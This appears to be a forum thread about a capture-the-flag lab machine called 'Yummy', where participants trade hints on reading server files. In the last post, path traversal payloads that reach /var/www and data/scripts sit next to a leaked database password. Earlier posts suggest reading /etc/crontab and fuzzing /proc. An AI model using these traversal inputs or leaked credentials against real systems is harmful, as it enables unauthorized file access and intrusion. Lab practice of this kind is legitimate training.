[Pepperwhite]

Okay so we know a Caddy web server is being ran, we can get the caddyfile from /etc/caddy/Caddyfile. We just need to find a config file that would leak more info to get credentials or something.

[hackemall]

:80 {
@ip {
header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
}
redir @ip http://yummy.htb{uri}
reverse_proxy 127.0.0.1:3000 {
header_down -Server
}
}

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[peRd1]

:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server 
    }
}

Yes, this is the /etc/caddy/Caddyfile.

You can also get PIDs by fuzzing /proc/, etc.

[Pepperwhite]

Honestly it might come down to enumerating PIDs /proc/<pid>/cmdline one by one but since you have to manually intercept the request to test a file, it's such a hassle.

[hackemall]

i think something wrong with this machine it keeps droping on me

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[celsius]

can't even display a dashboard with the table I booked
- reseted the machine
- registered another user
- cleared firefox cache, data and passwords
- created multiple table booking

nothing, does somebody else has the same issue ?

[rootme1122]

can't even display a dashboard with the table I booked
- reseted the machine
- registered another user
- cleared firefox cache, data and passwords
- created multiple table booking

nothing, does somebody else has the same issue ?

yes there is some issses i think same m facing

[mamadoubarla]

can't even display a dashboard with the table I booked
- reseted the machine
- registered another user
- cleared firefox cache, data and passwords
- created multiple table booking

nothing, does somebody else has the same issue ?

machine is very very laggy, this is not even fun.

[hackemall]

no one got first blood something is wrong for sure

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[sedlyf]

Hint : Explore /etc/crontab

---

/export/../../../../../../var/www/backupapp.zip

/export/../../../../../..///data/scripts/table_cleanup.sh

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}